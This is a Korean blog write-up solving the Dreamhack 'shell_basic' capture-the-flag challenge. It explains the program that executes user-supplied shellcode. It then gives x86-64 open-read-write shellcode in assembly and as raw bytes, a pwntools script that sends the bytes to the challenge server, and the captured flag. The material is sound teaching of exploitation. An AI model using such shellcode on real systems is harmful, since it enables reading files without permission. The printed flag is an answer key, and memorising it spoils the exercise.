STUDY/Pwnable

[Dreamhack] Shell_basic

da1seun9 2022. 10. 21. 21:02

문제

Description

입력한 셸코드를 실행하는 프로그램입니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!
플래그의 형식은 DH{…} 입니다.

분석

이 문제는 shell_basic과 shell_basic.c를 준다.

맨처음 시나리오는 execve를 통해서 shell에 접근하여 하려했으나, 문제를 보면 main함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하게 한다.

따라서 Flag의 위치와 이름을 알고 있기 때문에 orw쉘코드를 사용해서 직접 읽을 것이다.

또 풀이와 관련이 없으므로 나는 shell_basic.c파일에서 main만 봤다.

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();

  init();

  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

코드를 하나씩 보자

shellcode 변수
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

FORMAT: void* mmap(void* start, size_t length, int prot, int flags, int fd, off_t offset);

  • start: 요청한 물리 주소 공간을 매핑하고자 하는 주소로, 보통은 0을 사용한다.
  • length: 매핑하고자 하는 주소 공간의 크기로, PAGE_SIZE의 배수여야한다.
  • prot: 메모리 보호 모드를 설정한다.

 

  • PROT_EXEC: 페이지가 실행될 수 있다.
  • PROT_READ: 페이지를 읽을 수 있다.
  • PROT_WRITE: 페이지에 쓸 수 있다.
  • PROT_NONE: 페이지에 접근할 수 없다.

 

  • flags: 대응된 객체 타입, 대응 옵션, 대응된 페이지 복사본에 대한 수정을 그 프로세스에만 보일 것인지 참조하는 다른 프로세스와 공유할 것인지를 설정한다. MAP_SHARED나 MAP_PRIVATE 중 하나는 반드시 명시해야 한다.

 

  • MAP_FIXED: 지정된 주소 이외에는 선택하지 않는다. 지정된 주소를 사용할 수 없으면 mmap은 실패한다. 그리고 MAP_FIXED가 지정되면 start는 페이지 크기의 배수여야 한다. 가급적 MAP_FIXED 옵션은 사용하지 않는 편이 좋다.
  • MAP_SHARED: 이 객체를 대응시키는 다른 프로세스와 대응 영역을 공유한다.
  • MAP_PRIVATE: 다른 프로세스와 대응 영역을 공유하지 않는다.
  • fd: 디바이스 파일의 파일 디스크립터
  • offset: 매핑시키고 싶은 물리 주소, 이 값은 디바이스 드라이버에 전달되지만, 디바이스 드라이버가 다른 주소를 매핑할 경우 쓰이지 않는다. 이 주소 역시 PAGE_SIZE 단위로 지정되어야 한다.

참고, [https://makersweb.net/linux/1871]

read()함수
   read(0, shellcode, 0x1000);

표준입력(stdin) 을 하여 shellcode를 0x1000만큼 읽으라는 말이다.

파일서술자(File Descriptor, FD)

파일 서술자(File Descriptor, fd)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자입니다. 프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장합니다. 서술자 각각은 번호로 구별되는데, 일반적으로 0번은 일반 입력(Standard Input, STDIN), 1번은 일반 출력(Standard Output, STDOUT), 2번은 일반 오류(Standard Error, STDERR)에 할당되어 있으며, 이들은 프로세스를 터미널과 연결해줍니다. 그래서 우리는 키보드 입력을 통해 프로세스에 입력을 전달하고, 출력을 터미널로 받아볼 수 있습니다.
프로세스가 생성된 이후, 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해줍니다. 그러면 프로세스는 그 fd를 이용하여 파일에 접근할 수 있습니다.
[참고, dreamhack(https://dreamhack.io/)])

풀이

의사코드

먼저 의사코드로 쉘코드를 구현해보자

char buf[30];

int f = open("/home/shell_basic/flag_name_is_loooooong",RD_ONLY,NULL);

read(f,buf,0x30);
write(1,buf,0x30);

shell_basic.asm

이제 하나씩 어셈블리어로 바꿔보자

section .text
global _start

_start:
    push 0x0                    # 문자열 끝에는 항상 null을 stack에 push
    mov rax, 0x676e6f6f6f6f6f6f # oooooong
    push rax                    # stack에 push

    mov rax, 0x6c5f73695f656d61 # ame_is_l 
    push rax                    # stack에 push

    mov rax, 0x6e5f67616c662f63 # c/flag_n 
    push rax                    # stack에 push

    mov rax, 0x697361625f6c6c65 # ell_basi
    push rax                    # stack에 push

    mov rax, 0x68732f656d6f682f # /home/sh
    push rax                    # stack에 push

    mov rdi, rsp                # 문자열이 저장된 주소가 rdi에 저장
    xor rsi, rsi                # rsi = 0 즉, RD_ONLY
    xor rdx, rdx                # rdx = 0 즉, NULL
    mov rax, 0x2                # rax = 2 즉, open()의미
    syscall                     # open() call

    mov rdi, rax                # open()함수 실행 결과 rax가 rdi에 저장 즉,f
    mov rsi, rsp                # rsi는 파일의 데이터를 저장할 주소
    sub rsi, 0x30               # 0x30만큼 읽으므로 따라서 rsp-0x30
    mov rdx, 0x30               # 파일부터 읽어낼 길이(0x30)
    mov rax, 0x0                # rax = 0 즉, read()의미
    syscall                     # read() call

    mov rdi, 0x1                # stdout을 의미
    mov rax, 0x1                # rax = 1, write()를 의미
    syscall                     # write() call

    xor rdi, rdi                # rdi = 0
    mov rax, 0x3c               # exit()을 의미
    syscall                     # exit() call
why? 궁금증

Q. 왜 문자열이 쪼개져서 stack에 쌓였는데, mov rdi, rsp는 한번일까?

A. 대부분의 시스템에서는 문자열을 읽을 때 해당 주소부터 읽기 시작해서 문자열 끝에 null(\00)을 만나기 전까지 읽는다.
따라서 rsp부터 null이 나올 때까지 있는 주소를 rdi에 전달

shell_basic.o

shell_basic.asm 파일도 만들었으니 우리는 이제, object 파일을 만들어야 한다.

$ nasm -f elf64 shell_basic.asm # elf파일 형식으로 64bit object파일 생성
$ ls
shell_basic.o

shell_basic.bin

$ objcopy --dump-section .text=shell_basic.bin shell_basic.o
$ xxd shell_basic.bin
00000000: 6a00 48b8 6f6f 6f6f 6f6f 6e67 5048 b861  j.H.oooooongPH.a
00000010: 6d65 5f69 735f 6c50 48b8 632f 666c 6167  me_is_lPH.c/flag
00000020: 5f6e 5048 b865 6c6c 5f62 6173 6950 48b8  _nPH.ell_basiPH.
00000030: 2f68 6f6d 652f 7368 5048 89e7 4831 f648  /home/shPH..H1.H
00000040: 31d2 b802 0000 000f 0548 89c7 4889 e648  1........H..H..H
00000050: 83ee 30ba 3000 0000 b800 0000 000f 05bf  ..0.0...........
00000060: 0100 0000 b801 0000 000f 0548 31ff b83c  ...........H1..<
00000070: 0000 000f 05                             .....

마지막으로, 작성한 shellcode를 byte code(opcode)의 형태로 추출한다.
shell_basic.bin에 대해서 이를 바이트 코드로 바꾸는 과정입니다.

그러면 이제 저 hex 값들을 잘 정리해주면 shellcode가 완성됩니다.

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05

shell_basic_sol.py

이제 pwntools를 써서 저 쉘코드를 서버로 보냅시다.

from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
p = remote("host3.dreamhack.games",12642)
shell = b'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05'
p.recvuntil('shellcode: ')
p.sendline(shell)
p.interactive()

image

정답

DH{ca562d7cf1db6c55cb11c4ec350a3c0b}